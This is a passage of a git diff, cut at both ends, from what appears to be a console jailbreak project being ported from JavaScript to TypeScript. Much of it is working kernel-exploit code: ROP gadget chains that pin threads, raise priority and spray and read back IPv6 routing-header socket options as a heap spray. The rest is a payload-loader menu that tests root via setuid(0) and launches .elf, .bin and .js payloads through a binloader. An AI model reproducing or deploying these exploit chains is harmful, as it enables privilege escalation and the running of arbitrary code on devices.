0x10, mask) rop.push(gadgets.POP_RDI_RET) - rop.push(3) // CPU_LEVEL_WHICH + rop.push(new BigInt(3)) // CPU_LEVEL_WHICH rop.push(gadgets.POP_RSI_RET) - rop.push(1) // CPU_WHICH_TID + rop.push(new BigInt(1)) // CPU_WHICH_TID rop.push(gadgets.POP_RDX_RET) rop.push(BigInt_Error) // id = -1 (current thread) rop.push(gadgets.POP_RCX_RET) - rop.push(0x10) // setsize + rop.push(new BigInt(0x10)) // setsize rop.push(gadgets.POP_R8_RET) rop.push(cpu_mask) rop.push(cpuset_setaffinity_wrapper) @@ -1955,9 +1905,9 @@ function uio_writev_worker_rop (ready_signal, run_fd, done_signal, signal_buf) { // Set priority - rtprio_thread(RTP_SET, 0, rtprio_buf) rop.push(gadgets.POP_RDI_RET) - rop.push(1) // RTP_SET + rop.push(new BigInt(1)) // RTP_SET rop.push(gadgets.POP_RSI_RET) - rop.push(0) // lwpid = 0 (current thread) + rop.push(new BigInt(0)) // lwpid = 0 (current thread) rop.push(gadgets.POP_RDX_RET) rop.push(rtprio_buf) rop.push(rtprio_thread_wrapper) @@ -1966,10 +1916,10 @@ function uio_writev_worker_rop (ready_signal, run_fd, done_signal, signal_buf) { rop.push(gadgets.POP_RDI_RET) rop.push(ready_signal) rop.push(gadgets.POP_RAX_RET) - rop.push(1) + rop.push(new BigInt(1)) rop.push(gadgets.MOV_QWORD_PTR_RDI_RAX_RET) - var loop_init = rop.length + const loop_init = rop.length // Read from pipe (blocks here) - read(run_fd, pipe_buf, 1) rop.push(gadgets.POP_RDI_RET) @@ -1977,27 +1927,27 @@ function uio_writev_worker_rop (ready_signal, run_fd, done_signal, signal_buf) { rop.push(gadgets.POP_RSI_RET) rop.push(signal_buf) rop.push(gadgets.POP_RDX_RET) - rop.push(1) + rop.push(new BigInt(1)) rop.push(read_wrapper) // writev(uio_sock_1, uioIovRead, UIO_IOV_NUM); rop.push(gadgets.POP_RDI_RET) - rop.push(uio_sock_1) + rop.push(new BigInt(uio_sock_1)) rop.push(gadgets.POP_RSI_RET) rop.push(uioIovRead) rop.push(gadgets.POP_RDX_RET) - rop.push(UIO_IOV_NUM) + rop.push(new BigInt(UIO_IOV_NUM)) rop.push(writev_wrapper) // Signal done - write 1 to deletion_signal rop.push(gadgets.POP_RDI_RET) // pop rdi ; ret rop.push(done_signal) rop.push(gadgets.POP_RAX_RET) - rop.push(1) + rop.push(new BigInt(1)) rop.push(gadgets.MOV_QWORD_PTR_RDI_RAX_RET) - var loop_end = rop.length - var loop_size = loop_end - loop_init + const loop_end = rop.length + const loop_size = loop_end - loop_init // It's gonna loop return { @@ -2006,23 +1956,23 @@ function uio_writev_worker_rop (ready_signal, run_fd, done_signal, signal_buf) { } } -function ipv6_sock_spray_and_read_rop (ready_signal, run_fd, done_signal, signal_buf) { - var rop = [] +function ipv6_sock_spray_and_read_rop (ready_signal: BigInt, run_fd: BigInt, done_signal: BigInt, signal_buf: BigInt) { + const rop: BigInt[] = [] - rop.push(0) // first element overwritten by longjmp, skip it + rop.push(new BigInt(0)) // first element overwritten by longjmp, skip it const cpu_mask = malloc(0x10) write16(cpu_mask, 1 << MAIN_CORE) // Pin to core - cpuset_setaffinity(CPU_LEVEL_WHICH, CPU_WHICH_TID, -1, 0x10, mask) rop.push(gadgets.POP_RDI_RET) - rop.push(3) // CPU_LEVEL_WHICH + rop.push(new BigInt(3)) // CPU_LEVEL_WHICH rop.push(gadgets.POP_RSI_RET) - rop.push(1) // CPU_WHICH_TID + rop.push(new BigInt(1)) // CPU_WHICH_TID rop.push(gadgets.POP_RDX_RET) rop.push(BigInt_Error) // id = -1 (current thread) rop.push(gadgets.POP_RCX_RET) - rop.push(0x10) // setsize + rop.push(new BigInt(0x10)) // setsize rop.push(gadgets.POP_R8_RET) rop.push(cpu_mask) rop.push(cpuset_setaffinity_wrapper) @@ -2033,9 +1983,9 @@ function ipv6_sock_spray_and_read_rop (ready_signal, run_fd, done_signal, signal // Set priority - rtprio_thread(RTP_SET, 0, rtprio_buf) rop.push(gadgets.POP_RDI_RET) - rop.push(1) // RTP_SET + rop.push(new BigInt(1)) // RTP_SET rop.push(gadgets.POP_RSI_RET) - rop.push(0) // lwpid = 0 (current thread) + rop.push(new BigInt(0)) // lwpid = 0 (current thread) rop.push(gadgets.POP_RDX_RET) rop.push(rtprio_buf) rop.push(rtprio_thread_wrapper) @@ -2044,10 +1994,10 @@ function ipv6_sock_spray_and_read_rop (ready_signal, run_fd, done_signal, signal rop.push(gadgets.POP_RDI_RET) rop.push(ready_signal) rop.push(gadgets.POP_RAX_RET) - rop.push(1) + rop.push(new BigInt(1)) rop.push(gadgets.MOV_QWORD_PTR_RDI_RAX_RET) - var loop_init = rop.length + const loop_init = rop.length // Read from pipe (blocks here) - read(run_fd, pipe_buf, 1) rop.push(gadgets.POP_RDI_RET) @@ -2055,17 +2005,17 @@ function ipv6_sock_spray_and_read_rop (ready_signal, run_fd, done_signal, signal rop.push(gadgets.POP_RSI_RET) rop.push(signal_buf) rop.push(gadgets.POP_RDX_RET) - rop.push(1) + rop.push(new BigInt(1)) rop.push(read_wrapper) // Spray all sockets - for (var i = 0; i < ipv6_socks.length; i++) { + for (let i = 0; i < ipv6_socks.length; i++) { rop.push(gadgets.POP_RDI_RET) rop.push(ipv6_socks[i]) rop.push(gadgets.POP_RSI_RET) - rop.push(IPPROTO_IPV6) + rop.push(new BigInt(IPPROTO_IPV6)) rop.push(gadgets.POP_RDX_RET) - rop.push(IPV6_RTHDR) + rop.push(new BigInt(IPV6_RTHDR)) rop.push(gadgets.POP_RCX_RET) rop.push(spray_rthdr_rop.add(i * UCRED_SIZE)) // Offset for socket i @@ -2073,20 +2023,20 @@ function ipv6_sock_spray_and_read_rop (ready_signal, run_fd, done_signal, signal // debug("Using this buffer " + hex(spray_rthdr_rop.add(i*UCRED_SIZE)) + " : " + hex(read64(spray_rthdr_rop.add(i*UCRED_SIZE)))); rop.push(gadgets.POP_R8_RET) - rop.push(spray_rthdr_len) + rop.push(new BigInt(spray_rthdr_len)) rop.push(setsockopt_wrapper) } // After spraying, read all sockets into buffer array - for (var i = 0; i < ipv6_socks.length; i++) { + for (let i = 0; i < ipv6_socks.length; i++) { rop.push(gadgets.POP_RDI_RET) rop.push(ipv6_socks[i]) // debug(""); // debug("pushed sock: " + hex(ipv6_socks[i])); rop.push(gadgets.POP_RSI_RET) - rop.push(IPPROTO_IPV6) + rop.push(new BigInt(IPPROTO_IPV6)) rop.push(gadgets.POP_RDX_RET) - rop.push(IPV6_RTHDR) + rop.push(new BigInt(IPV6_RTHDR)) rop.push(gadgets.POP_RCX_RET) rop.push(read_rthdr_rop.add(i * 8)) // Offset for socket i // debug("Pushing read from add " + hex(read_rthdr_rop.add(i * 8))); @@ -2099,112 +2049,14 @@ function ipv6_sock_spray_and_read_rop (ready_signal, run_fd, done_signal, signal rop.push(gadgets.POP_RDI_RET) // pop rdi ; ret rop.push(done_signal) rop.push(gadgets.POP_RAX_RET) - rop.push(1) + rop.push(new BigInt(1)) rop.push(gadgets.MOV_QWORD_PTR_RDI_RAX_RET) // Exit rop.push(gadgets.POP_RDI_RET) - rop.push(0) + rop.push(new BigInt(0)) rop.push(thr_exit_wrapper) - var loop_end = rop.length - var loop_size = loop_end - loop_init - - // It's gonna loop - - return { - rop, - loop_size: 0// loop_size - } -} - -function ipv6_sock_spray_and_read_triplet_rop (ready_signal, run_fd, done_signal, signal_buf, master, other) { - var rop = [] - - rop.push(0) // first element overwritten by longjmp, skip it - - const cpu_mask = malloc(0x10) - write16(cpu_mask, 1 << MAIN_CORE) - - // Pin to core - cpuset_setaffinity(CPU_LEVEL_WHICH, CPU_WHICH_TID, -1, 0x10, mask) - rop.push(gadgets.POP_RDI_RET) - rop.push(3) // CPU_LEVEL_WHICH - rop.push(gadgets.POP_RSI_RET) - rop.push(1) // CPU_WHICH_TID - rop.push(gadgets.POP_RDX_RET) - rop.push(BigInt_Error) // id = -1 (current thread) - rop.push(gadgets.POP_RCX_RET) - rop.push(0x10) // setsize - rop.push(gadgets.POP_R8_RET) - rop.push(cpu_mask) - rop.push(cpuset_setaffinity_wrapper) - - const rtprio_buf = malloc(4) - write16(rtprio_buf, PRI_REALTIME) - write16(rtprio_buf.add(2), MAIN_RTPRIO) - - // Set priority - rtprio_thread(RTP_SET, 0, rtprio_buf) - rop.push(gadgets.POP_RDI_RET) - rop.push(1) // RTP_SET - rop.push(gadgets.POP_RSI_RET) - rop.push(0) // lwpid = 0 (current thread) - rop.push(gadgets.POP_RDX_RET) - rop.push(rtprio_buf) - rop.push(rtprio_thread_wrapper) - - // Signal ready - write 1 to ready_signal - rop.push(gadgets.POP_RDI_RET) - rop.push(ready_signal) - rop.push(gadgets.POP_RAX_RET) - rop.push(1) - rop.push(gadgets.MOV_QWORD_PTR_RDI_RAX_RET) - - var loop_init = rop.length - - // Read from pipe (blocks here) - read(run_fd, pipe_buf, 1) - rop.push(gadgets.POP_RDI_RET) - rop.push(run_fd) - rop.push(gadgets.POP_RSI_RET) - rop.push(signal_buf) - rop.push(gadgets.POP_RDX_RET) - rop.push(1) - rop.push(read_wrapper) - - // Spray all sockets - for (var i = 0; i < ipv6_socks.length; i++) { - // Don't spray on socket master or other - if (i === master || i === other) { - continue - } - - rop.push(gadgets.POP_RDI_RET) - rop.push(ipv6_socks[i]) - rop.push(gadgets.POP_RSI_RET) - rop.push(IPPROTO_IPV6) - rop.push(gadgets.POP_RDX_RET) - rop.push(IPV6_RTHDR) - rop.push(gadgets.POP_RCX_RET) - rop.push(spray_rthdr_rop.add(i * UCRED_SIZE)) // Offset for socket i - rop.push(gadgets.POP_R8_RET) - rop.push(spray_rthdr_len) - rop.push(setsockopt_wrapper) - } - - // Signal done - write 1 to deletion_signal - rop.push(gadgets.POP_RDI_RET) // pop rdi ; ret - rop.push(done_signal) - rop.push(gadgets.POP_RAX_RET) - rop.push(1) - rop.push(gadgets.MOV_QWORD_PTR_RDI_RAX_RET) - - // Exit - rop.push(gadgets.POP_RDI_RET) - rop.push(0) - rop.push(thr_exit_wrapper) - - var loop_end = rop.length - var loop_size = loop_end - loop_init - // It's gonna loop return { diff --git a/src/download0/payload_host.js b/src/download0/payload_host.js deleted file mode 100644 index 902a4d8..0000000 --- a/src/download0/payload_host.js +++ /dev/null @@ -1,471 +0,0 @@ -(function () { - if (typeof libc_addr === 'undefined') { - log('Loading userland.js...') - include('userland.js') - log('userland.js loaded') - } else { - log('userland.js already loaded (libc_addr defined)') - } - - var audio = new jsmaf.AudioClip() - audio.volume = 0.5 // 50% volume - audio.open('file://../download0/sfx/bgm.wav') - - function isJailbroken () { - try { fn.register(24, 'getuid', 'bigint') } catch (e) {} - try { fn.register(23, 'setuid', 'bigint') } catch (e) {} - - var uid_before = fn.getuid() - var uid_before_val = (uid_before instanceof BigInt) ? uid_before.lo : uid_before - log('UID before setuid: ' + uid_before_val) - - log('Attempting setuid(0)...') - var setuid_success = false - var error_msg = null - - try { - var setuid_result = fn.setuid(0) - var setuid_ret = (setuid_result instanceof BigInt) ? setuid_result.lo : setuid_result - log('setuid returned: ' + setuid_ret) - setuid_success = (setuid_ret === 0) - } catch (e) { - error_msg = e.toString() - log('setuid threw exception: ' + error_msg) - } - - var uid_after = fn.getuid() - var uid_after_val = (uid_after instanceof BigInt) ? uid_after.lo : uid_after - log('UID after setuid: ' + uid_after_val) - - if (uid_after_val === 0) { - log('Already jailbroken') - return true - } else { - log('Not jailbroken') - return false - } - } - - is_jailbroken = isJailbroken() - - jsmaf.root.children.length = 0 - - new Style({name: 'white', color: 'white', size: 24}) - new Style({name: 'title', color: 'white', size: 32}) - - var currentButton = 0 - var buttons = [] - var buttonTexts = [] - var buttonMarkers = [] - var buttonOrigPos = [] - var textOrigPos = [] - var fileList = [] - - var normalButtonImg = 'file:///assets/img/button_over_9.png' - var selectedButtonImg = 'file:///assets/img/button_over_9.png' - - var background = new Image({ - url: 'file:///../download0/img/multiview_bg_VAF.png', - x: 0, - y: 0, - width: 1920, - height: 1080 - }) - jsmaf.root.children.push(background) - - var logo = new Image({ - url: 'file:///../download0/img/logo.png', - x: 1620, - y: 0, - width: 300, - height: 169 - }) - jsmaf.root.children.push(logo) - - var title = new jsmaf.Text() - title.text = 'Payload Menu' - title.x = 860 - title.y = 120 - title.style = 'title' - jsmaf.root.children.push(title) - - if (typeof fn !== 'undefined') { - if (!fn.open_sys) fn.register(0x05, 'open_sys', 'bigint') - if (!fn.close_sys) fn.register(0x06, 'close_sys', 'bigint') - if (!fn.getdents) fn.register(0x110, 'getdents', 'bigint') - } - - log('Scanning /download0/payloads for files...') - if (typeof fn !== 'undefined' && fn.getdents) { - var path_addr = mem.malloc(256) - for (var i = 0; i < '/download0/payloads'.length; i++) { - mem.view(path_addr).setUint8(i, '/download0/payloads'.charCodeAt(i)) - } - mem.view(path_addr).setUint8('/download0/payloads'.length, 0) - - var fd = fn.open_sys(path_addr, new BigInt(0, 0), new BigInt(0, 0)) - log('open_sys returned: ' + fd.toString()) - - if (!fd.eq(new BigInt(0xffffffff, 0xffffffff))) { - var buf = mem.malloc(4096) - var count = fn.getdents(fd, buf, new BigInt(0, 4096)) - log('getdents returned: ' + count.toString() + ' bytes') - - if (!count.eq(new BigInt(0xffffffff, 0xffffffff)) && count.lo > 0) { - var offset = 0 - while (offset < count.lo) { - var d_reclen = mem.view(buf.add(new BigInt(0, offset + 4))).getUint16(0, true) - var d_type = mem.view(buf.add(new BigInt(0, offset + 6))).getUint8(0) - var d_namlen = mem.view(buf.add(new BigInt(0, offset + 7))).getUint8(0) - - var name = '' - for (var i = 0; i < d_namlen; i++) { - name += String.fromCharCode(mem.view(buf.add(new BigInt(0, offset + 8 + i))).getUint8(0)) - } - - log('Entry: ' + name + ' type=' + d_type + ' namlen=' + d_namlen) - - if (d_type === 8 && name !== '.' && name !== '..') { - var lowerName = name.toLowerCase() - if (lowerName.endsWith('.elf') || lowerName.endsWith('.bin') || lowerName.endsWith('.js')) { - fileList.push(name) - log('Added file: ' + name) - } - } - - offset += d_reclen - } - } - fn.close_sys(fd) - } else { - log('Failed to open /download0/payloads') - } - } - - log('Total files found: ' + fileList.length) - - var startY = 200 - var buttonSpacing = 90 - var buttonsPerRow = 5 - var buttonWidth = 300 - var buttonHeight = 80 - var startX = 130 - var xSpacing = 340 - - for (var i = 0; i < fileList.length; i++) { - var row = Math.floor(i / buttonsPerRow) - var col = i % buttonsPerRow - - var btnX = startX + col * xSpacing - var btnY = startY + row * buttonSpacing - - var button = new Image({ - url: normalButtonImg, - x: btnX, - y: btnY, - width: buttonWidth, - height: buttonHeight - }) - buttons.push(button) - jsmaf.root.children.push(button) - - var marker = new Image({ - url: 'file:///assets/img/ad_pod_marker.png', - x: btnX + buttonWidth - 50, - y: btnY + 35, - width: 12, - height: 12, - visible: false - }) - buttonMarkers.push(marker) - jsmaf.root.children.push(marker) - - var displayName = fileList[i] - if (displayName.length > 20) { - displayName = displayName.substring(0, 17) + '...' - } - - var text = new jsmaf.Text() - text.text = displayName - text.x = btnX + 20 - text.y = btnY + 30 - text.style = 'white' - buttonTexts.push(text) - jsmaf.root.children.push(text) - - buttonOrigPos.push({x: btnX, y: btnY}) - textOrigPos.push({x: text.x, y: text.y}) - } - - var exitX = 810 - var exitY = 980 - - var exitButton = new Image({ - url: normalButtonImg, - x: exitX, - y: exitY, - width: buttonWidth, - height: buttonHeight - }) - buttons.push(exitButton) - jsmaf.root.children.push(exitButton) - - var exitMarker = new Image({ - url: 'file:///assets/img/ad_pod_marker.png', - x: exitX + buttonWidth - 50, - y: exitY + 35, - width: 12, - height: 12, - visible: false - }) - buttonMarkers.push(exitMarker) - jsmaf.root.children.push(exitMarker) - - var exitText = new jsmaf.Text() - exitText.text = 'Back' - exitText.x = exitX + buttonWidth / 2 - 20 - exitText.y = exitY + buttonHeight / 2 - 12 - exitText.style = 'white' - buttonTexts.push(exitText) - jsmaf.root.children.push(exitText) - - buttonOrigPos.push({x: exitX, y: exitY}) - textOrigPos.push({x: exitText.x, y: exitText.y}) - - var zoomInInterval = null - var zoomOutInterval = null - var prevButton = -1 - - function easeInOut (t) { - return (1 - Math.cos(t * Math.PI)) / 2 - } - - function animateZoomIn (btn, text, btnOrigX, btnOrigY, textOrigX, textOrigY) { - if (zoomInInterval) jsmaf.clearInterval(zoomInInterval) - var btnW = buttonWidth - var btnH = buttonHeight - var startScale = btn.scaleX || 1.0 - var endScale = 1.1 - var duration = 175 - var elapsed = 0 - var step = 16 - - zoomInInterval = jsmaf.setInterval(function () { - elapsed += step - var t = Math.min(elapsed / duration, 1) - var eased = easeInOut(t) - var scale = startScale + (endScale - startScale) * eased - - btn.scaleX = scale - btn.scaleY = scale - btn.x = btnOrigX - (btnW * (scale - 1)) / 2 - btn.y = btnOrigY - (btnH * (scale - 1)) / 2 - text.scaleX = scale - text.scaleY = scale - text.x = textOrigX - (btnW * (scale - 1)) / 2 - text.y = textOrigY - (btnH * (scale - 1)) / 2 - - if (t >= 1) { - jsmaf.clearInterval(zoomInInterval) - zoomInInterval = null - } - }, step) - } - - function animateZoomOut (btn, text, btnOrigX, btnOrigY, textOrigX, textOrigY) { - if (zoomOutInterval) jsmaf.clearInterval(zoomOutInterval) - var btnW = buttonWidth - var btnH = buttonHeight - var startScale = btn.scaleX || 1.1 - var endScale = 1.0 - var duration = 175 - var elapsed = 0 - var step = 16 - - zoomOutInterval = jsmaf.setInterval(function () { - elapsed += step - var t = Math.min(elapsed / duration, 1) - var eased = easeInOut(t) - var scale = startScale + (endScale - startScale) * eased - - btn.scaleX = scale - btn.scaleY = scale - btn.x = btnOrigX - (btnW * (scale - 1)) / 2 - btn.y = btnOrigY - (btnH * (scale - 1)) / 2 - text.scaleX = scale - text.scaleY = scale - text.x = textOrigX - (btnW * (scale - 1)) / 2 - text.y = textOrigY - (btnH * (scale - 1)) / 2 - - if (t >= 1) { - jsmaf.clearInterval(zoomOutInterval) - zoomOutInterval = null - } - }, step) - } - - function updateHighlight () { - // Animate out the previous button - if (prevButton >= 0 && prevButton !== currentButton) { - buttons[prevButton].url = normalButtonImg - buttons[prevButton].alpha = 0.7 - buttons[prevButton].borderWidth = 0 - buttonTexts[prevButton].alpha = 0.8 - buttonMarkers[prevButton].visible = false - animateZoomOut(buttons[prevButton], buttonTexts[prevButton], buttonOrigPos[prevButton].x, buttonOrigPos[prevButton].y, textOrigPos[prevButton].x, textOrigPos[prevButton].y) - } - - // Set styles for all buttons - for (var i = 0; i < buttons.length; i++) { - if (i === currentButton) { - buttons[i].url = selectedButtonImg - buttons[i].alpha = 1.0 - buttons[i].borderColor = 'rgb(100,180,255)' - buttons[i].borderWidth = 3 - buttonTexts[i].alpha = 1.0 - buttonMarkers[i].visible = true - animateZoomIn(buttons[i], buttonTexts[i], buttonOrigPos[i].x, buttonOrigPos[i].y, textOrigPos[i].x, textOrigPos[i].y) - } else if (i !== prevButton) { - buttons[i].url = normalButtonImg - buttons[i].alpha = 0.7 - buttons[i].borderWidth = 0 - buttons[i].scaleX = 1.0 - buttons[i].scaleY = 1.0 - buttons[i].x = buttonOrigPos[i].x - buttons[i].y = buttonOrigPos[i].y - buttonTexts[i].scaleX = 1.0 - buttonTexts[i].scaleY = 1.0 - buttonTexts[i].x = textOrigPos[i].x - buttonTexts[i].y = textOrigPos[i].y - buttonTexts[i].alpha = 0.8 - buttonMarkers[i].visible = false - } - } - - prevButton = currentButton - log('Selected button: ' + currentButton) - } - - jsmaf.onKeyDown = function (keyCode) { - log('Key pressed: ' + keyCode) - - var fileButtonCount = fileList.length - var exitButtonIndex = buttons.length - 1 - - if (keyCode === 6) { - if (currentButton === exitButtonIndex) { - return - } - var nextButton = currentButton + buttonsPerRow - if (nextButton >= fileButtonCount) { - currentButton = exitButtonIndex - } else { - currentButton = nextButton - } - updateHighlight() - } else if (keyCode === 4) { - if (currentButton === exitButtonIndex) { - var lastRow = Math.floor((fileButtonCount - 1) / buttonsPerRow) - var firstInLastRow = lastRow * buttonsPerRow - var col = 0 - if (fileButtonCount > 0) { - col = Math.min(buttonsPerRow - 1, (fileButtonCount - 1) % buttonsPerRow) - } - currentButton = Math.min(firstInLastRow + col, fileButtonCount - 1) - } else { - var nextButton = currentButton - buttonsPerRow - if (nextButton >= 0) { - currentButton = nextButton - } - } - updateHighlight() - } else if (keyCode === 5) { - if (currentButton === exitButtonIndex) { - return - } - var row = Math.floor(currentButton / buttonsPerRow) - var col = currentButton % buttonsPerRow - if (col < buttonsPerRow - 1) { - var nextButton = currentButton + 1 - if (nextButton < fileButtonCount) { - currentButton = nextButton - } - } - updateHighlight() - } else if (keyCode === 7) { - if (currentButton === exitButtonIndex) { - currentButton = fileButtonCount - 1 - } else { - var col = currentButton % buttonsPerRow - if (col > 0) { - currentButton = currentButton - 1 - } - } - updateHighlight() - } else if (keyCode === 14) { - handleButtonPress() - } else if (keyCode === 13) { - log('Going back to main menu...') - try { - include('main-menu.js') - } catch (e) { - log('ERROR loading main-menu.js: ' + e.message) - if (e.stack) log(e.stack) - } - } - } - - function handleButtonPress () { - if (currentButton === buttons.length - 1) { - log('Going back to main menu...') - try { - include('main-menu.js') - } catch (e) { - log('ERROR loading main-menu.js: ' + e.message) - if (e.stack) log(e.stack) - } - } else if (currentButton < fileList.length) { - var selectedFile = fileList[currentButton] - var filePath = '/download0/payloads/' + selectedFile - - log('Selected: ' + selectedFile) - - try { - if (selectedFile.toLowerCase().endsWith('.js')) { - log('Including JavaScript file: ' + selectedFile) - include('payloads/' + selectedFile) - } else { - log('Loading binloader.js...') - include('binloader.js') - log('binloader.js loaded successfully') - - log('Initializing binloader...') - if (typeof binloader_init === 'function') { - binloader_init() - } else { - log('ERROR: binloader_init not defined') - return - } - - log('Loading payload from: ' + filePath) - - if (typeof bl_load_from_file === 'function') { - bl_load_from_file(filePath) - } else { - log('ERROR: bl_load_from_file not defined') - } - } - } catch (e) { - log('ERROR: ' + e.message) - if (e.stack) log(e.stack) - } - } - } - - updateHighlight() - - log('Interactive UI loaded!') - log('Total elements: ' + jsmaf.root.children.length) - log('Buttons: ' + buttons.length) - log('Use arrow keys to navigate, Enter/X to select') -})() diff --git a/src/download0/payload_host.ts b/src/download0/payload_host.ts new file mode 100644 index 0000000..3a6ac61 --- /dev/null +++ b/src/download0/payload_host.ts @@ -0,0 +1,471 @@ +import { fn, mem, BigInt } from 'download0/types' +import { binloader_init } from 'download0/binloader' +import { libc_addr } from 'download0/userland' + +(function () { + if (typeof libc_addr === 'undefined') { + log('Loading userland.js...') + include('userland.js') + log('userland.js loaded') + } else { + log('userland.js already loaded (libc_addr defined)') + } + + const audio = new jsmaf.AudioClip() + audio.volume = 0.5 // 50% volume + audio.open('file://../download0/sfx/bgm.wav') + + function isJailbroken () { + fn.register(24, 'getuid', [], 'bigint') + fn.register(23, 'setuid', ['number'], 'bigint') + + const uid_before = fn.getuid() + const uid_before_val = (uid_before instanceof BigInt) ? uid_before.lo : uid_before + log('UID before setuid: ' + uid_before_val) + + log('Attempting setuid(0)...') + + try { + const setuid_result = fn.setuid(0) + const setuid_ret = (setuid_result instanceof BigInt) ? setuid_result.lo : setuid_result + log('setuid returned: ' + setuid_ret) + } catch (e) { + const error_msg = (e as Error).toString() + log('setuid threw exception: ' + error_msg) + } + + const uid_after = fn.getuid() + const uid_after_val = (uid_after instanceof BigInt) ? uid_after.lo : uid_after + log('UID after setuid: ' + uid_after_val) + + if (uid_after_val === 0) { + log('Already jailbroken') + return true + } else { + log('Not jailbroken') + return false + } + } + + is_jailbroken = isJailbroken() + + jsmaf.root.children.length = 0 + + new Style({ name: 'white', color: 'white', size: 24 }) + new Style({ name: 'title', color: 'white', size: 32 }) + + let currentButton = 0 + const buttons: Image[] = [] + const buttonTexts: jsmaf.Text[] = [] + const buttonMarkers: Image[] = [] + const buttonOrigPos: { x: number, y: number }[] = [] + const textOrigPos: { x: number, y: number }[] = [] + const fileList: string[] = [] + + const normalButtonImg = 'file:///assets/img/button_over_9.png' + const selectedButtonImg = 'file:///assets/img/button_over_9.png' + + const background = new Image({ + url: 'file:///../download0/img/multiview_bg_VAF.png', + x: 0, + y: 0, + width: 1920, + height: 1080 + }) + jsmaf.root.children.push(background) + + const logo = new Image({ + url: 'file:///../download0/img/logo.png', + x: 1620, + y: 0, + width: 300, + height: 169 + }) + jsmaf.root.children.push(logo) + + const title = new jsmaf.Text() + title.text = 'Payload Menu' + title.x = 860 + title.y = 120 + jsmaf.root.children.push(title) + + fn.register(0x05, 'open_sys', ['bigint', 'bigint', 'bigint'], 'bigint') + fn.register(0x06, 'close_sys', ['bigint'], 'bigint') + fn.register(0x110, 'getdents', ['bigint', 'bigint', 'bigint'], 'bigint') + + log('Scanning /download0/payloads for files...') + const path_addr = mem.malloc(256) + for (let i = 0; i < '/download0/payloads'.length; i++) { + mem.view(path_addr).setUint8(i, '/download0/payloads'.charCodeAt(i)) + } + mem.view(path_addr).setUint8('/download0/payloads'.length, 0) + + const fd = fn.open_sys(path_addr, new BigInt(0, 0), new BigInt(0, 0)) + log('open_sys returned: ' + fd.toString()) + + if (!fd.eq(new BigInt(0xffffffff, 0xffffffff))) { + const buf = mem.malloc(4096) + const count = fn.getdents(fd, buf, new BigInt(0, 4096)) + log('getdents returned: ' + count.toString() + ' bytes') + + if (!count.eq(new BigInt(0xffffffff, 0xffffffff)) && count.lo > 0) { + let offset = 0 + while (offset < count.lo) { + const d_reclen = mem.view(buf.add(new BigInt(0, offset + 4))).getUint16(0, true) + const d_type = mem.view(buf.add(new BigInt(0, offset + 6))).getUint8(0) + const d_namlen = mem.view(buf.add(new BigInt(0, offset + 7))).getUint8(0) + + let name = '' + for (let i = 0; i < d_namlen; i++) { + name += String.fromCharCode(mem.view(buf.add(new BigInt(0, offset + 8 + i))).getUint8(0)) + } + + log('Entry: ' + name + ' type=' + d_type + ' namlen=' + d_namlen) + + if (d_type === 8 && name !== '.' && name !== '..') { + const lowerName = name.toLowerCase() + if (lowerName.endsWith('.elf') || lowerName.endsWith('.bin') || lowerName.endsWith('.js')) { + fileList.push(name) + log('Added file: ' + name) + } + } + + offset += d_reclen + } + } + fn.close_sys(fd) + } else { + log('Failed to open /download0/payloads') + } + + log('Total files found: ' + fileList.length) + + const startY = 200 + const buttonSpacing = 90 + const buttonsPerRow = 5 + const buttonWidth = 300 + const buttonHeight = 80 + const startX = 130 + const xSpacing = 340 + + for (let i = 0; i < fileList.length; i++) { + const row = Math.floor(i / buttonsPerRow) + const col = i % buttonsPerRow + let displayName = fileList[i]! + + const btnX = startX + col * xSpacing + const btnY = startY + row * buttonSpacing + + const button = new Image({ + url: normalButtonImg, + x: btnX, + y: btnY, + width: buttonWidth, + height: buttonHeight + }) + buttons.push(button) + jsmaf.root.children.push(button) + + const marker = new Image({ + url: 'file:///assets/img/ad_pod_marker.png', + x: btnX + buttonWidth - 50, + y: btnY + 35, + width: 12, + height: 12, + visible: false + }) + buttonMarkers.push(marker) + jsmaf.root.children.push(marker) + + if (displayName.length > 20) { + displayName = displayName.substring(0, 17) + '...' + } + + const text = new jsmaf.Text() + text.text = displayName + text.x = btnX + 20 + text.y = btnY + 30 + text.style = 'white' + buttonTexts.push(text) + jsmaf.root.children.push(text) + + buttonOrigPos.push({ x: btnX, y: btnY }) + textOrigPos.push({ x: text.x, y: text.y }) + } + + const exitX = 810 + const exitY = 980 + + const exitButton = new Image({ + url: normalButtonImg, + x: exitX, + y: exitY, + width: buttonWidth, + height: buttonHeight + }) + buttons.push(exitButton) + jsmaf.root.children.push(exitButton) + + const exitMarker = new Image({ + url: 'file:///assets/img/ad_pod_marker.png', + x: exitX + buttonWidth - 50, + y: exitY + 35, + width: 12, + height: 12, + visible: false + }) + buttonMarkers.push(exitMarker) + jsmaf.root.children.push(exitMarker) + + const exitText = new jsmaf.Text() + exitText.text = 'Back' + exitText.x = exitX + buttonWidth / 2 - 20 + exitText.y = exitY + buttonHeight / 2 - 12 + exitText.style = 'white' + buttonTexts.push(exitText) + jsmaf.root.children.push(exitText) + + buttonOrigPos.push({ x: exitX, y: exitY }) + textOrigPos.push({ x: exitText.x, y: exitText.y }) + + let zoomInInterval: number | null = null + let zoomOutInterval: number | null = null + let prevButton = -1 + + function easeInOut (t: number) { + return (1 - Math.cos(t * Math.PI)) / 2 + } + + function animateZoomIn (btn: Image, text: jsmaf.Text, btnOrigX: number, btnOrigY: number, textOrigX: number, textOrigY: number) { + if (zoomInInterval) jsmaf.clearInterval(zoomInInterval) + const btnW = buttonWidth + const btnH = buttonHeight + const startScale = btn.scaleX || 1.0 + const endScale = 1.1 + const duration = 175 + let elapsed = 0 + const step = 16 + + zoomInInterval = jsmaf.setInterval(function () { + elapsed += step + const t = Math.min(elapsed / duration, 1) + const eased = easeInOut(t) + const scale = startScale + (endScale - startScale) * eased + + btn.scaleX = scale + btn.scaleY = scale + btn.x = btnOrigX - (btnW * (scale - 1)) / 2 + btn.y = btnOrigY - (btnH * (scale - 1)) / 2 + text.scaleX = scale + text.scaleY = scale + text.x = textOrigX - (btnW * (scale - 1)) / 2 + text.y = textOrigY - (btnH * (scale - 1)) / 2 + + if (t >= 1) { + jsmaf.clearInterval(zoomInInterval ?? -1) + zoomInInterval = null + } + }, step) + } + + function animateZoomOut (btn: Image, text: jsmaf.Text, btnOrigX: number, btnOrigY: number, textOrigX: number, textOrigY: number) { + if (zoomOutInterval) jsmaf.clearInterval(zoomOutInterval) + const btnW = buttonWidth + const btnH = buttonHeight + const startScale = btn.scaleX || 1.1 + const endScale = 1.0 + const duration = 175 + let elapsed = 0 + const step = 16 + + zoomOutInterval = jsmaf.setInterval(function () { + elapsed += step + const t = Math.min(elapsed / 